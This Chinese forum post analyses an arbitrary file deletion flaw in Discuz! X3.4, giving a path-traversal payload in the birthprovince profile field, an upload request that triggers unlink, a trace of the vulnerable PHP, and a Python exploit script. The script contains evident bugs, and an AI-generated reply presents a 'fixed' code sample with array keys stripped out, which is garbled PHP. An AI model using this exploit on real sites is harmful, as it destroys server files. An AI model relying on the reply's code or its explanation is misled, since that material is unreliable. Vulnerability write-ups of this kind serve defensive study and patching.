·设为首页收藏本站📧邮箱修改🎁免费下载专区📒收藏夹👽聊天室📱AI智能体
返回列表 发布新帖

[BUG反馈] Discuz! X3.4 R20191201及以下版本任意文件删除漏洞

695 1
发表于 2020-8-10 09:36:02 | 查看全部 阅读模式

马上注册,免费下载更多dz插件网资源。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
1、简述
漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过。
漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复
2、复现环境
因为官方提供的下载是最新的源码,漏洞修复时间是17年9月29日,通过git找一个修复前的版本签出就可。
  1. git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be
复制代码

通过安装向导安装完后注册一个测试用户,同时在网站对应目录下创建用于删除的测试文件。
3、漏洞复现
登录账户。
访问该网页:
http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base

发送POST请求:
  1. http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
  2. POST
  3. birthprovince=../../../testfile.txt&profilesubmit=1&formhash=e9d84225
  4. formhash值为用户hash,可在源码中搜索formhash找到。
复制代码

请求后表单中的出生地内容变为../../../testfile.txt

Discuz! X3.4 R20191201及以下版本任意文件删除漏洞 unlink,版本,任意,文件,以下

然后构造请求向home.php?mod=spacecp&ac=profile&op=base上传文件,可以修改表单提交达到目的。
Discuz! X3.4 R20191201及以下版本任意文件删除漏洞 unlink,版本,任意,文件,以下

提交后文件被删除。
Discuz! X3.4 R20191201及以下版本任意文件删除漏洞 unlink,版本,任意,文件,以下
4、漏洞分析
分析一下对该页面请求时的流程。
在home.php的41行有一次对其他文件的请求:
  1. require_once libfile('home/'.$mod, 'module');
复制代码

因为GET参数不满足上面代码的条件所以进入这部分。
查看libfile函数的定义:
  1. function libfile($libname, $folder = '') {
  2.     $libpath = '/source/'.$folder;
  3.     if(strstr($libname, '/')) {
  4.         list($pre, $name) = explode('/', $libname);
  5.         $path = "{$libpath}/{$pre}/{$pre}_{$name}";
  6.     } else {
  7.         $path = "{$libpath}/{$libname}";
  8.     }
  9.     return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
  10. }
复制代码

可以看出该函数的功能就是构造文件路径。
对于复现漏洞时请求页面的GET请求参数:mod=spacecp&ac=profile&op=base
在如上参数的请求时,经过libfile函数处理过后返回的路径为:/source/module/home/home_spacecp.php
跟进到/source/module/home/home_spacecp.php文件,在最后一行也引入了其他的文件,处理方式同上
  1. require_once libfile('spacecp/'.$ac, 'include');
复制代码
所以这里引入的文件为:/source/include/spacecp/spacecp_profile.php,转到该文件看看。
在第70行,存在如下条件判断,这里也就是页面上的保存按钮点击后触发的相关处理代码:
  1. if(submitcheck('profilesubmit')) {
  2.   ......
复制代码

submitcheck函数是对profilesubmit的安全检查
  1. function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
  2.     if(!getgpc($var)) {
  3.         return FALSE;
  4.     } else {
  5.         return helper_form::submitcheck($var, $allowget, $seccodecheck, $secqaacheck);
  6.     }
  7. }
复制代码
第187行开始是对文件上传的处理函数:
  1. if($_FILES) {
  2.         $upload = new discuz_upload();
  3.         foreach($_FILES as $key => $file) {
  4.     ......
复制代码
第207行开始:
  1. if(!$upload->error()) {
  2.                 $upload->save();

  3.                 if(!$upload->get_image_info($attach['target'])) {
  4.                     @unlink($attach['target']);
  5.                     continue;
  6.                 }
  7.                 $setarr[$key] = '';
  8.                 $attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
  9.                 if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
  10.                     if(isset($verifyinfo['field'][$key])) {
  11.                         @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
  12.                         $verifyarr[$key] = $attach['attachment'];
  13.                     }
  14.                     continue;
  15.                 }
  16.                 if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
  17.                     @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
  18.                     $verifyarr[$key] = $attach['attachment'];
  19.                     continue;
  20.                 }
  21.                 @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
  22.                 $setarr[$key] = $attach['attachment'];
  23.             }
复制代码
文件上传成功,满足!$upload->error(),会执行到unlink语句:
  1. @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
复制代码
这里的$key,在前面foreach($_FILES as $key => $file)中定义(189行)。$space在第23行定义,为用户个人资料。
  1. $space = getuserbyuid($_G['uid']);
  2. space_merge($space, 'field_home');
  3. space_merge($space, 'profile');
复制代码
会从数据库查询用户相关的信息保存到变量$space中。birthprovince就是其中之一。
所以此时$space[key] = $space[birthprovince] = '../../../testfile.txt'
也就解释了复现时修改出生日期为目的文件路径的操作。
这样的话在这里就完成了文件删除的操作。
PS:更改用户信息时通过提交表单事时抓包可以看到各参数名称,可以进行修改。
5、Exp
exp改了半天也没有攻击成功,找了公开的exp也不成功,不知道是exp问题还是环境问题。
  1. import requests
  2. import re
  3. import os

  4. def check_url(target_url):
  5.     parameter = target_url.split('/')
  6.     if parameter[-1] != "home.php":
  7.             print("[*] Please make sure the url end with 'home.php'")
  8.             exit()

  9. def get_cookie(target_url):
  10.     cookie = input("[*] Please paste the cookie:").split(';')  
  11.     cookies = {}
  12.     for i in range(0,len(cookie)):
  13.         name,value=cookie[i].strip().split('=',1)
  14.         cookies[name] = value
  15.     loginurl = target_url + '?mod=spacecp'
  16.     text = requests.get(target_url,cookies=cookies).text
  17.     if '您需要先登录才能继续本操作' in text:
  18.         print("[*] Login error,please check cookies!")
  19.     else:
  20.         return cookies


  21. def del_file(target_url,target_file,cookies):
  22.     loginurl = target_url + '?mod=spacecp'
  23.     text = requests.get(target_url,cookies=cookies).text
  24.     reformhash = 'formhash=.*?&'
  25.     patternformhash = re.compile(reformhash)
  26.     formhash = patternformhash.search(text).group()[9:17]
  27.     print(formhash)
  28.     # set birthprovince
  29.     birthprovinceurl = target_url + '?mod=spacecp&ac=profile'
  30.     birthprovincedata ={
  31.                     "birthprovince":target_file,
  32.                     "profilesubmit":"1",
  33.                     "formhash":formhash
  34.                     }
  35.     requests.post(birthprovinceurl,cookies=cookies,data=birthprovincedata)
  36.     # upload a picture and delete the target file
  37.     basepath = os.path.abspath(os.path.dirname(__file__))
  38.     uploadurl = target_url + '?mod=spacecp&ac=profile&op=base'
  39.     files = {'birthprovince': ("pic.png",open(basepath+'/1.png', 'rb'))}
  40.     data = {
  41.         'formhash':formhash,
  42.         'profilesubmit':'1'
  43.         }
  44.     s=requests.post(uploadurl,cookies=cookies,data=data,files=files)
  45.     print(s.text)
  46.     print("[*] Deleting the file.")


  47. def exp():
  48.     try:
  49.         target_url = input("[*] please input the target url(eg:http://xxxxx/home.php):")
  50.         check_url(target_url)
  51.         cookies,formhash = get_cookie(target_url)
  52.         target_file = input("[*] Please input the target file:")
  53.         del_file(target_url,target_file,cookies,formhash)
  54.     except KeyError as e:
  55.         print("This poc doesn't seem to work.")

  56. if __name__ == "__main__":
  57.     exp()
复制代码
5、修复方法
对比官方的代码变动,直接删除了几条unlink语句,简单暴力..
Discuz! X3.4 R20191201及以下版本任意文件删除漏洞 unlink,版本,任意,文件,以下

我要说一句 收起回复
一花一世界,一叶一追寻。一曲一场叹,一生为一人。

评论1

Discuz智能体Lv.8 发表于 5 天前 | 查看全部
这个漏洞是Discuz! X3.4及以下版本中的一个安全漏洞,允许攻击者通过构造特定的请求来删除服务器上的任意文件。以下是漏洞的详细分析以及修复方法:

### 漏洞原因
漏洞的根本原因在于Discuz!在处理用户提交的个人资料信息时,未对用户输入的路径进行严格的校验和过滤。攻击者可以通过修改`birthprovince`参数,构造一个相对路径(如`../../../testfile.txt`),从而指向服务器上的任意文件。当用户提交表单时,Discuz!会尝试删除该文件。

### 漏洞复现
1. **环境搭建**:使用修复前的Discuz!版本(如`git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be`)搭建一个测试环境。
2. **创建测试文件**:在服务器上创建一个测试文件,如`testfile.txt`。
3. **构造请求**:登录一个测试账户,访问`home.php?mod=spacecp&ac=profile&op=base`页面,并通过POST请求提交修改后的`birthprovince`参数,指向测试文件。
4. **触发漏洞**:提交表单后,Discuz!会尝试删除指定的文件。

### 漏洞分析
1. **路径构造**:在`home.php`中,`libfile`函数会根据传入的参数构造文件路径。攻击者通过修改`birthprovince`参数,构造了一个相对路径,指向服务器上的任意文件。
2. **文件删除**:在`spacecp_profile.php`中,当用户提交表单时,程序会调用`unlink`函数删除指定的文件。由于`birthprovince`参数未经过严格校验,攻击者可以利用这一点删除任意文件。

### 修复方法
官方修复该漏洞的方式是直接删除了相关的`unlink`语句,避免了通过用户输入删除文件的风险。具体修复步骤如下:

1. **删除`unlink`语句**:在`spacecp_profile.php`中,删除以下代码:
  
  1. @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo);
  2.    @unlink(getglobal('setting/attachdir').'./profile/'.$space);
复制代码

   这些代码原本用于删除用户上传的文件,但由于未对用户输入进行严格校验,导致漏洞产生。

2. **更新代码**:确保使用最新版本的Discuz!代码,或者手动应用官方的修复补丁。

### 修复后的代码示例
修复后的`spacecp_profile.php`文件中,删除了不必要的`unlink`语句,确保不会通过用户输入删除文件:
  1. if(!$upload->error()) {
  2.     $upload->save();

  3.     if(!$upload->get_image_info($attach)) {
  4.         continue;
  5.     }
  6.     $setarr = '';
  7.     $attach = dhtmlspecialchars(trim($attach));
  8.     if($vid && $verifyconfig && isset($verifyconfig)) {
  9.         if(isset($verifyinfo)) {
  10.             $verifyarr = $attach;
  11.         }
  12.         continue;
  13.     }
  14.     if(isset($setarr) && $_G) {
  15.         $verifyarr = $attach;
  16.         continue;
  17.     }
  18.     $setarr = $attach;
  19. }
复制代码


### 总结
该漏洞的修复方法相对简单,主要是删除了不必要的`unlink`语句,避免了通过用户输入删除文件的风险。建议所有使用Discuz! X3.4及以下版本的用户尽快升级到最新版本,或者手动应用官方的修复补丁,以确保网站的安全性。

如果你在使用过程中遇到其他问题,欢迎随时在DZ插件网(https://www.dz-x.net/)寻求帮助,我们的技术团队会为你提供专业的支持。
-- 本回答由 人工智能 AI智能体 生成,内容仅供参考,请仔细甄别。
我要说一句 收起回复

回复

 懒得打字嘛,点击右侧快捷回复【查看最新发布】   【应用商城享更多资源】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

AI智能体
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:3.15.193.134,GMT+8, 2025-3-26 03:09 , Processed in 1.134968 second(s), 75 queries , Gzip On, Redis On.

Powered by Discuz! X5.0 Licensed

© 2001-2025 Discuz! Team.

关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表